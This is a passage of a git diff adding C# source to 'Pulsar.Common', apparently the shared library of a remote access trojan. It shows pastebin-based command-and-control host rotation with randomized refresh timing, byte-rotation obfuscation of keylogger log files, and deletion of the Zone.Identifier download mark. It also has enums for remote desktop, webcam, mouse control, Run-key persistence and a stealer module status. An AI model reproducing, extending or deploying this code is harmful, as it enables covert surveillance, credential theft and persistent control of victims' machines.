byte[] result = new byte[data.Length]; + for (int i = 0; i < data.Length; i++) + { + result[i] = RotateByte(data[i], -ROTATION_AMOUNT); + } + return result; + } + + /// + /// Rotates a byte by the specified amount with overflow wrapping. + /// + /// The byte to rotate. + /// The rotation amount (can be positive or negative). + /// The rotated byte. + private static byte RotateByte(byte value, int amount) + { + amount = ((amount % 256) + 256) % 256; + + int result = (value + amount) % 256; + return (byte)result; + } + + /// + /// Calculates the rotated value for a given byte and rotation amount. + /// This is a helper method for testing and verification. + /// + /// The byte value to rotate. + /// The rotation amount. + /// The rotated byte value. + public static byte CalculateRotation(byte value, int amount) + { + return RotateByte(value, amount); + } + } +} diff --git a/Pulsar.Common/Cryptography/SafeComparison.cs b/Pulsar.Common/Cryptography/SafeComparison.cs new file mode 100644 index 0000000..c93d158 --- /dev/null +++ b/Pulsar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace Pulsar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Pulsar.Common/Cryptography/Sha256.cs b/Pulsar.Common/Cryptography/Sha256.cs new file mode 100644 index 0000000..987cbe6 --- /dev/null +++ b/Pulsar.Common/Cryptography/Sha256.cs @@ -0,0 +1,33 @@ +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Common.Cryptography +{ + public static class Sha256 + { + public static string ComputeHash(string input) + { + byte[] data = Encoding.UTF8.GetBytes(input); + + using (SHA256Managed sha = new SHA256Managed()) + { + data = sha.ComputeHash(data); + } + + StringBuilder hash = new StringBuilder(); + + foreach (byte _byte in data) + hash.Append(_byte.ToString("X2")); + + return hash.ToString().ToUpper(); + } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } + } +} diff --git a/Pulsar.Common/DNS/.DS_Store b/Pulsar.Common/DNS/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Common/DNS/.DS_Store differ diff --git a/Pulsar.Common/DNS/Host.cs b/Pulsar.Common/DNS/Host.cs new file mode 100644 index 0000000..c78142a --- /dev/null +++ b/Pulsar.Common/DNS/Host.cs @@ -0,0 +1,33 @@ +using System.Net; + +namespace Pulsar.Common.DNS +{ + public class Host + { + /// + /// Stores the hostname of the Host. + /// + /// + /// Can be an IPv4, IPv6 address or hostname. + /// + public string Hostname { get; set; } + + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + + /// + /// Stores the port of the Host. + /// + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Pulsar.Common/DNS/HostsConverter.cs b/Pulsar.Common/DNS/HostsConverter.cs new file mode 100644 index 0000000..b8b3929 --- /dev/null +++ b/Pulsar.Common/DNS/HostsConverter.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Pulsar.Common.DNS +{ + public class HostsConverter + { + + public List RawHostsToList(string rawHosts, bool server = false) + { + List hostsList = new List(); + + if (string.IsNullOrEmpty(rawHosts)) return hostsList; + + if ((rawHosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || + rawHosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase)) && + !rawHosts.Contains(";")) + { + hostsList.Add(new Host { Hostname = rawHosts }); + return hostsList; + } + + var hosts = rawHosts.Split(';'); + + foreach (var host in hosts) + { + if (string.IsNullOrEmpty(host)) continue; + + if (Uri.TryCreate(host, UriKind.Absolute, out Uri uri) && + (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps)) + { + hostsList.Add(new Host { Hostname = host }); + } + else if (host.Contains(':')) + { + if (ushort.TryParse(host.Split(':').Last(), out ushort port)) + { + hostsList.Add(new Host + { + Hostname = host.Substring(0, host.LastIndexOf(':')), + Port = port + }); + } + } + else + { + hostsList.Add(new Host { Hostname = host }); + } + } + + return hostsList; + } + + public string ListToRawHosts(IList hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Pulsar.Common/DNS/HostsManager.cs b/Pulsar.Common/DNS/HostsManager.cs new file mode 100644 index 0000000..0ea439d --- /dev/null +++ b/Pulsar.Common/DNS/HostsManager.cs @@ -0,0 +1,282 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Common.DNS +{ + public class HostsManager + { + public bool IsEmpty => _hosts.Count == 0; + + private readonly Queue _hosts = new Queue(); + private Host _lastResolvedHost; + private readonly PastebinFetcher _pastebinFetcher; + private readonly HostsConverter _hostsConverter = new HostsConverter(); + private readonly bool _isPastebinMode; + private DateTime _lastSuccessfulConnection = DateTime.MinValue; + private DateTime _lastPastebinCheck = DateTime.MinValue; + //private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromHours(1); + //private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1); + private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromMinutes(30); + private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1); + private bool _pastebinReachable = true; + private DateTime _lastPastebinFailure = DateTime.MinValue; + private readonly TimeSpan _scheduledRefreshWindowMin = TimeSpan.FromHours(2); + private readonly TimeSpan _scheduledRefreshWindowMax = TimeSpan.FromHours(3); + private readonly Random _refreshRandom = new Random(unchecked(Environment.TickCount * 397 ^ Guid.NewGuid().GetHashCode())); + private readonly object _refreshRandomLock = new object(); + private DateTime _nextScheduledPastebinRefresh = DateTime.MinValue; + private string _lastPastebinContentHash; + + public HostsManager(List hosts) + { + foreach (var host in hosts) + _hosts.Enqueue(host); + + _isPastebinMode = false; + _lastSuccessfulConnection = DateTime.Now; + } + + public HostsManager(string pastebinUrl) + { + _isPastebinMode = true; + _pastebinFetcher = new PastebinFetcher(pastebinUrl); + _lastSuccessfulConnection = DateTime.Now; + + RefreshHostsFromPastebin(forceRefresh: true); + ScheduleNextPastebinRefresh(); + } + + private bool RefreshHostsFromPastebin(bool forceRefresh = false) + { + if (!_isPastebinMode || _pastebinFetcher == null) + return false; + + try + { + string content = _pastebinFetcher.FetchContent(forceRefresh); + _lastPastebinCheck = DateTime.Now; + + if (string.IsNullOrWhiteSpace(content)) + { + _pastebinReachable = false; + _lastPastebinFailure = DateTime.Now; + Debug.WriteLine("Failed to get content from pastebin (empty response)"); + return false; + } + + var hosts = _hostsConverter.RawHostsToList(content); + string newHash = ComputeContentHash(content); + bool hasChanged = _lastPastebinContentHash == null || !_lastPastebinContentHash.Equals(newHash, StringComparison.Ordinal); + + if (hasChanged || _hosts.Count == 0) + { + _hosts.Clear(); + foreach (var host in hosts) + _hosts.Enqueue(host); + + _lastResolvedHost = null; + _lastPastebinContentHash = newHash; + Debug.WriteLine($"Successfully refreshed {hosts.Count} hosts from pastebin. Connection failure duration: {DateTime.Now - _lastSuccessfulConnection}"); + } + else + { + Debug.WriteLine("Pastebin content unchanged; keeping existing hosts."); + } + + _pastebinReachable = true; + return hasChanged; + } + catch (Exception ex) + { + _pastebinReachable = false; + _lastPastebinFailure = DateTime.Now; + Debug.WriteLine($"Failed to refresh hosts from pastebin: {ex.Message}"); + return false; + } + } + + public Host GetNextHost() + { + if (_isPastebinMode) + { + if (_nextScheduledPastebinRefresh == DateTime.MinValue) + { + ScheduleNextPastebinRefresh(); + } + + if (DateTime.Now >= _nextScheduledPastebinRefresh) + { + Debug.WriteLine("Scheduled pastebin refresh triggered."); + RefreshHostsFromPastebin(forceRefresh: true); + ScheduleNextPastebinRefresh(); + } + + bool shouldRefreshFromPastebin = false; + bool forceRefresh = false; + + if (_hosts.Count == 0 && DateTime.Now - _lastPastebinCheck >= TimeSpan.FromMinutes(1)) + { + Debug.WriteLine("No hosts available, refreshing from pastebin."); + shouldRefreshFromPastebin = true; + forceRefresh = true; + } + else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection > _connectionFailureThreshold) + { + Debug.WriteLine($"No successful connection for over {_connectionFailureThreshold.TotalMinutes} minutes, checking pastebin for updates."); + if (DateTime.Now - _lastPastebinCheck >= _pastebinCheckInterval) + { + Debug.WriteLine($"Checking pastebin for updates after {_pastebinCheckInterval.TotalMinutes} minutes."); + shouldRefreshFromPastebin = true; + } + } + else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection <= _connectionFailureThreshold && _pastebinFetcher.ShouldRefresh) + { + Debug.WriteLine("Frequent refresh from pastebin due to high request count or error."); + shouldRefreshFromPastebin = true; + } + + if (shouldRefreshFromPastebin) + { + Debug.WriteLine("Refreshing hosts from pastebin due to conditions met."); + RefreshHostsFromPastebin(forceRefresh); + ScheduleNextPastebinRefresh(); + } + + if (_hosts.Count == 0) + return null; + } + + var temp = _hosts.Dequeue(); + _hosts.Enqueue(temp); + temp.IpAddress = ResolveHostname(temp); + if (temp.IpAddress == null && _lastResolvedHost != null) + { + temp = _lastResolvedHost; + } + else + { + _lastResolvedHost = temp; + } + + return temp; + } + + /// + /// Notifies the hosts manager that a successful connection was established. + /// This resets the connection failure tracking. + /// + public void NotifySuccessfulConnection() + { + _lastSuccessfulConnection = DateTime.Now; + } + + /// + /// Gets whether pastebin is currently reachable and how long to wait before next attempt. + /// + /// A tuple indicating if pastebin is reachable and suggested wait time in milliseconds. + public (bool IsReachable, int SuggestedWaitTimeMs) GetPastebinStatus() + { + if (!_isPastebinMode) + return (true, 0); + + if (_pastebinReachable) + { + return (true, 0); + } + + var timeSinceFailure = DateTime.Now - _lastPastebinFailure; + if (timeSinceFailure < TimeSpan.FromMinutes(5)) + { + return (false, 300000); + } + else if (timeSinceFailure < TimeSpan.FromMinutes(15)) + { + return (false, 600000); + } + else + { + return (false, 1800000); + } + } + + private void ScheduleNextPastebinRefresh() + { + if (!_isPastebinMode) + { + _nextScheduledPastebinRefresh = DateTime.MaxValue; + return; + } + + TimeSpan interval = GetRandomRefreshInterval(); + _nextScheduledPastebinRefresh = DateTime.Now.Add(interval); + Debug.WriteLine($"Next pastebin refresh scheduled in {interval.TotalMinutes:F1} minutes (target {_nextScheduledPastebinRefresh})."); + } + + private TimeSpan GetRandomRefreshInterval() + { + double minMs = _scheduledRefreshWindowMin.TotalMilliseconds; + double maxMs = _scheduledRefreshWindowMax.TotalMilliseconds; + + if (maxMs <= minMs) + { + return TimeSpan.FromMilliseconds(minMs); + } + + lock (_refreshRandomLock) + { + double offset = _refreshRandom.NextDouble() * (maxMs - minMs); + return TimeSpan.FromMilliseconds(minMs + offset); + } + } + + private static string ComputeContentHash(string content) + { + using (var sha256 = SHA256.Create()) + { + byte[] bytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(content)); + return BitConverter.ToString(bytes).Replace("-", string.Empty); + } + } + + private static IPAddress ResolveHostname(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + if (IPAddress.TryParse(host.Hostname, out IPAddress ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !Socket.OSSupportsIPv6) + return null; + + return ip; + } + + try + { + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + } + catch (Exception) + { + return null; + } + + return null; + } + } +} diff --git a/Pulsar.Common/DNS/WebClientExtensions.cs b/Pulsar.Common/DNS/WebClientExtensions.cs new file mode 100644 index 0000000..58f00e4 --- /dev/null +++ b/Pulsar.Common/DNS/WebClientExtensions.cs @@ -0,0 +1,45 @@ +using System; +using System.Net; + +namespace Pulsar.Common.DNS +{ + /// + /// WebClient with timeout capability + /// + internal class TimeoutWebClient : WebClient + { + private readonly int _timeout; + + public TimeoutWebClient(int timeout) + { + _timeout = timeout; + this.Proxy = null; + } + + protected override WebRequest GetWebRequest(Uri address) + { + WebRequest request = base.GetWebRequest(address); + + if (request != null) + { + request.Timeout = _timeout; + } + + return request; + } + } + + /// + /// Extension methods for WebClient + /// + internal static class WebClientExtensions + { + /// + /// Creates a WebClient with the specified timeout in milliseconds + /// + public static WebClient WithTimeout(int timeout) + { + return new TimeoutWebClient(timeout); + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Enums/AccountType.cs b/Pulsar.Common/Enums/AccountType.cs new file mode 100644 index 0000000..4b4e74c --- /dev/null +++ b/Pulsar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Pulsar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Pulsar.Common/Enums/ConnectionState.cs b/Pulsar.Common/Enums/ConnectionState.cs new file mode 100644 index 0000000..4c08fe6 --- /dev/null +++ b/Pulsar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +namespace Pulsar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Pulsar.Common/Enums/ContentType.cs b/Pulsar.Common/Enums/ContentType.cs new file mode 100644 index 0000000..1092575 --- /dev/null +++ b/Pulsar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +namespace Pulsar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Pulsar.Common/Enums/FileType.cs b/Pulsar.Common/Enums/FileType.cs new file mode 100644 index 0000000..7f73d75 --- /dev/null +++ b/Pulsar.Common/Enums/FileType.cs @@ -0,0 +1,9 @@ +namespace Pulsar.Common.Enums +{ + public enum FileType + { + File, + Directory, + Back + } +} diff --git a/Pulsar.Common/Enums/KematianStatus.cs b/Pulsar.Common/Enums/KematianStatus.cs new file mode 100644 index 0000000..ec22370 --- /dev/null +++ b/Pulsar.Common/Enums/KematianStatus.cs @@ -0,0 +1,10 @@ +namespace Pulsar.Common.Enums +{ + public enum KematianStatus + { + Idle, + Collecting, + Completed, + Failed + } +} \ No newline at end of file diff --git a/Pulsar.Common/Enums/MouseAction.cs b/Pulsar.Common/Enums/MouseAction.cs new file mode 100644 index 0000000..6fbd4d6 --- /dev/null +++ b/Pulsar.Common/Enums/MouseAction.cs @@ -0,0 +1,14 @@ +namespace Pulsar.Common.Enums +{ + public enum MouseAction + { + LeftDown, + LeftUp, + RightDown, + RightUp, + MoveCursor, + ScrollUp, + ScrollDown, + None + } +} diff --git a/Pulsar.Common/Enums/ProcessAction.cs b/Pulsar.Common/Enums/ProcessAction.cs new file mode 100644 index 0000000..8c29b25 --- /dev/null +++ b/Pulsar.Common/Enums/ProcessAction.cs @@ -0,0 +1,11 @@ +namespace Pulsar.Common.Enums +{ + public enum ProcessAction + { + Start, + End, + SetTopMost, + None, + Suspend + } +} diff --git a/Pulsar.Common/Enums/RemoteDesktopState.cs b/Pulsar.Common/Enums/RemoteDesktopState.cs new file mode 100644 index 0000000..bf35867 --- /dev/null +++ b/Pulsar.Common/Enums/RemoteDesktopState.cs @@ -0,0 +1,16 @@ +namespace Pulsar.Common.Enums +{ + public enum RemoteDesktopStatus + { + Start, + Stop, + Continue, + } + + public enum RemoteWebcamStatus + { + Start, + Stop, + Continue, + } +} diff --git a/Pulsar.Common/Enums/ShutdownAction.cs b/Pulsar.Common/Enums/ShutdownAction.cs new file mode 100644 index 0000000..0835e69 --- /dev/null +++ b/Pulsar.Common/Enums/ShutdownAction.cs @@ -0,0 +1,10 @@ +namespace Pulsar.Common.Enums +{ + public enum ShutdownAction + { + Shutdown, + Restart, + Standby, + Lockscreen + } +} diff --git a/Pulsar.Common/Enums/StartupType.cs b/Pulsar.Common/Enums/StartupType.cs new file mode 100644 index 0000000..bdc36b8 --- /dev/null +++ b/Pulsar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +namespace Pulsar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 + } +} diff --git a/Pulsar.Common/Enums/UserStatus.cs b/Pulsar.Common/Enums/UserStatus.cs new file mode 100644 index 0000000..6c6c954 --- /dev/null +++ b/Pulsar.Common/Enums/UserStatus.cs @@ -0,0 +1,8 @@ +namespace Pulsar.Common.Enums +{ + public enum UserStatus + { + Active, + Idle + } +} diff --git a/Pulsar.Common/Extensions/DriveTypeExtensions.cs b/Pulsar.Common/Extensions/DriveTypeExtensions.cs new file mode 100644 index 0000000..29b5d51 --- /dev/null +++ b/Pulsar.Common/Extensions/DriveTypeExtensions.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Pulsar.Common.Extensions +{ + public static class DriveTypeExtensions + { + /// + /// Converts the value of the instance to its friendly string representation. + /// + /// The . + /// The friendly string representation of the value of this instance. + public static string ToFriendlyString(this DriveType type) + { + switch (type) + { + case DriveType.Fixed: + return "Local Disk"; + case DriveType.Network: + return "Network Drive"; + case DriveType.Removable: + return "Removable Drive"; + default: + return type.ToString(); + } + } + } +} diff --git a/Pulsar.Common/Extensions/SocketExtensions.cs b/Pulsar.Common/Extensions/SocketExtensions.cs new file mode 100644 index 0000000..eeec1ce --- /dev/null +++ b/Pulsar.Common/Extensions/SocketExtensions.cs @@ -0,0 +1,48 @@ +using System; +using System.Net.Sockets; +using System.Runtime.InteropServices; + +namespace Pulsar.Common.Extensions +{ + /// + /// Socket Extension for KeepAlive + /// + /// Abdullah Saleem + /// a.saleem2993@gmail.com + public static class SocketExtensions + { + /// + /// A structure used by SetKeepAliveEx Method + /// + [StructLayout(LayoutKind.Sequential)] + internal struct TcpKeepAlive + { + internal uint onoff; + internal uint keepalivetime; + internal uint keepaliveinterval; + }; + + /// + /// Sets the Keep-Alive values for the current tcp connection + /// + /// Current socket instance + /// Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines. + /// Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry. + public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime) + { + var keepAlive = new TcpKeepAlive + { + onoff = 1, + keepaliveinterval = keepAliveInterval, + keepalivetime = keepAliveTime + }; + int size = Marshal.SizeOf(keepAlive); + IntPtr keepAlivePtr = Marshal.AllocHGlobal(size); + Marshal.StructureToPtr(keepAlive, keepAlivePtr, true); + var buffer = new byte[size]; + Marshal.Copy(keepAlivePtr, buffer, 0, size); + Marshal.FreeHGlobal(keepAlivePtr); + socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); + } + } +} diff --git a/Pulsar.Common/Extensions/StringExtensions.cs b/Pulsar.Common/Extensions/StringExtensions.cs new file mode 100644 index 0000000..61b5895 --- /dev/null +++ b/Pulsar.Common/Extensions/StringExtensions.cs @@ -0,0 +1,69 @@ +using Pulsar.Common.Enums; + +namespace Pulsar.Common.Extensions +{ + public static class StringExtensions + { + /// + /// Converts the file extension string to its representation. + /// + /// The file extension string. + /// The representation of the file extension string. + public static ContentType ToContentType(this string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } + } +} diff --git a/Pulsar.Common/Helpers/ClipboardHelper.cs b/Pulsar.Common/Helpers/ClipboardHelper.cs new file mode 100644 index 0000000..3ee4d70 --- /dev/null +++ b/Pulsar.Common/Helpers/ClipboardHelper.cs @@ -0,0 +1,20 @@ +using System; +using System.Windows.Forms; + +namespace Pulsar.Common.Helpers +{ + public static class ClipboardHelper + { + public static void SetClipboardTextSafe(string text) + { + try + { + Clipboard.SetText(text); + } + catch (Exception) + { + + } + } + } +} diff --git a/Pulsar.Common/Helpers/FileHelper.cs b/Pulsar.Common/Helpers/FileHelper.cs new file mode 100644 index 0000000..5b651fb --- /dev/null +++ b/Pulsar.Common/Helpers/FileHelper.cs @@ -0,0 +1,228 @@ +using Pulsar.Common.Cryptography; +using System; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Text; + +namespace Pulsar.Common.Helpers +{ + public static class FileHelper + { + private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + + public static bool HasIllegalCharacters(string path) + { + return path.Any(c => IllegalPathChars.Contains(c)); + } + + public static string GetRandomFilename(int length, string extension = "") + { + return string.Concat(StringHelper.GetRandomString(length), extension); + } + + public static string GetTempFilePath(string extension = "") + { + string tempFilePath; + do + { + tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); + } while (File.Exists(tempFilePath)); + + return tempFilePath; + } + + public static bool HasExecutableIdentifier(byte[] binary) + { + if (binary.Length < 2) return false; + return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M'); + } + + public static bool DeleteZoneIdentifier(string filePath) + { + return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); + } + + public static void WriteLogFile(string filename, string appendText, Aes256 aes) + { + appendText = ReadLogFile(filename, aes) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Write(data, 0, data.Length); + fStream.Flush(true); + } + } + + public static string ReadLogFile(string filename, Aes256 aes) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } + + /// + /// Append obfuscated (and compressed) text in temp/log files safely using framed chunks. + /// Each write: [4-byte length][obfuscated bytes]. + /// The plain text is compressed with GZip before obfuscation to save disk space. + /// + public static void WriteObfuscatedLogFile(string filename, string appendText) + { + if (string.IsNullOrEmpty(filename)) throw new ArgumentNullException(nameof(filename)); + if (appendText == null) appendText = string.Empty; + + byte[] plainBytes = Encoding.UTF8.GetBytes(appendText); + + // Compress plaintext first to save space (backwards-compatible: readers will detect gzip) + byte[] compressed = CompressGzip(plainBytes); + + // Obfuscate the compressed bytes + byte[] obfBytes = ByteRotationObfuscator.Obfuscate(compressed); + + string dir = Path.GetDirectoryName(filename); + if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir)) + Directory.CreateDirectory(dir); + + try + { + using (var fs = File.Open(filename, FileMode.Append, FileAccess.Write, FileShare.Read)) + using (var bw = new BinaryWriter(fs, Encoding.UTF8)) + { + bw.Write(obfBytes.Length); // 4-byte length prefix + bw.Write(obfBytes); // obfuscated (compressed) chunk + bw.Flush(); + fs.Flush(true); + } + } + catch + { + // silently ignore append errors to avoid crashing keylogger + } + } + + /// + /// Read obfuscated log file with support for framed chunks and automatic gzip decompression. + /// Falls back to legacy single-block deobfuscation if framed read fails. + /// + public static string ReadObfuscatedLogFile(string filename) + { + if (string.IsNullOrEmpty(filename) || !File.Exists(filename)) + return string.Empty; + + try + { + byte[] allBytes = File.ReadAllBytes(filename); + if (allBytes.Length == 0) return string.Empty; + + using (var ms = new MemoryStream(allBytes)) + using (var br = new BinaryReader(ms, Encoding.UTF8)) + { + var sb = new StringBuilder(); + bool framed = true; + + while (ms.Position < ms.Length) + { + if (ms.Length - ms.Position < 4) + { + framed = false; + break; + } + + int len = br.ReadInt32(); + if (len < 0 || len > ms.Length - ms.Position) + { + framed = false; + break; + } + + byte[] chunk = br.ReadBytes(len); + if (chunk == null || chunk.Length == 0) + continue; + + // Deobfuscate chunk first + byte[] deob = ByteRotationObfuscator.Deobfuscate(chunk); + + // Try to detect gzip via magic bytes and decompress to raw bytes + try + { + if (deob.Length >= 2 && deob[0] == 0x1F && deob[1] == 0x8B) + { + byte[] decompressedBytes = DecompressGzipToBytes(deob); + sb.Append(Encoding.UTF8.GetString(decompressedBytes)); + } + else + { + // Not compressed — interpret directly as UTF8 + sb.Append(Encoding.UTF8.GetString(deob)); + } + } + catch + { + // On any failure, try to at least interpret deob as UTF8 to avoid losing text + try { sb.Append(Encoding.UTF8.GetString(deob)); } catch { /* ignore */ } + } + } + + if (framed) return sb.ToString(); + } + } + catch + { + // ignore and fallback + } + + // fallback to legacy single-block deobfuscation (file previously written without framing or compression) + try + { + byte[] obfAll = File.ReadAllBytes(filename); + byte[] deobAll = ByteRotationObfuscator.Deobfuscate(obfAll); + + // If deobAll appears to be gzip compressed, decompress + if (deobAll.Length >= 2 && deobAll[0] == 0x1F && deobAll[1] == 0x8B) + { + byte[] decompressed = DecompressGzipToBytes(deobAll); + return Encoding.UTF8.GetString(decompressed); + } + + return Encoding.UTF8.GetString(deobAll); + } + catch + { + return string.Empty; + } + } + + private static byte[] DecompressGzipToBytes(byte[] compressed) + { + using (var input = new MemoryStream(compressed)) + using (var gzip = new System.IO.Compression.GZipStream(input, System.IO.Compression.CompressionMode.Decompress)) + using (var output = new MemoryStream()) + { + gzip.CopyTo(output); + return output.ToArray(); + } + } + + + private static byte[] CompressGzip(byte[] data) + { + try + { + using (var output = new MemoryStream()) + { + using (var gzip = new GZipStream(output, CompressionLevel.Optimal, leaveOpen: true)) + { + gzip.Write(data, 0, data.Length); + } + // Reset position to read full compressed array + output.Position = 0; + return output.ToArray(); + } + } + catch + { + // if compression fails, return original data to avoid data loss + return data; + } + } + } +} diff --git a/Pulsar.Common/Helpers/PlatformHelper.cs b/Pulsar.Common/Helpers/PlatformHelper.cs new file mode 100644 index 0000000..3eeaf98 --- /dev/null +++ b/Pulsar.Common/Helpers/PlatformHelper.cs @@ -0,0 +1,166 @@ +using System; +using System.Management; +using System.Text.RegularExpressions; + +namespace Pulsar.Common.Helpers +{ + public static class PlatformHelper + { + /// + /// Initializes the class. + /// + static PlatformHelper() + { + Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; + SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); + EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); + EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); + TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); + ElevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0) && Environment.OSVersion.Version.Build >= 22000); + + Name = GetOSNameFromEnvironment(); + + Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start + Is64Bit = Environment.Is64BitOperatingSystem; + FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit"; + } + + /// + /// Gets the full name of the operating system running on this computer (including the edition and architecture). + /// + public static string FullName { get; } + + /// + /// Gets the name of the operating system running on this computer (including the edition). + /// + public static string Name { get; } + + /// + /// Determines whether the Operating System is 32 or 64-bit. + /// + /// + /// true if the Operating System is 64-bit, otherwise false for 32-bit. + /// + public static bool Is64Bit { get; } + + /// + /// Returns a indicating whether the Operating System is Windows 32 NT based. + /// + /// + /// true if the Operating System is Windows 32 NT based; otherwise, false. + /// + public static bool Win32NT { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 7 or higher. + /// + /// + /// true if the Operating System is Windows 7 or higher; otherwise, false. + /// + public static bool SevenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8 or higher. + /// + /// + /// true if the Operating System is Windows 8 or higher; otherwise, false. + /// + public static bool EightOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. + /// + /// + /// true if the Operating System is Windows 8.1 or higher; otherwise, false. + /// + public static bool EightPointOneOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 10 or higher. + /// + /// + /// true if the Operating System is Windows 10 or higher; otherwise, false. + /// + public static bool TenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 11 or higher. + /// + /// + /// true if the Operating System is Windows 11 or higher; otherwise, false. + /// + public static bool ElevenOrHigher { get; } + + /// + /// Gets the OS name from environment variables and registry as fallback for WMI. + /// + private static string GetOSNameFromEnvironment() + { + try + { + // Try to get from registry first (more reliable than WMI) + using (var key = 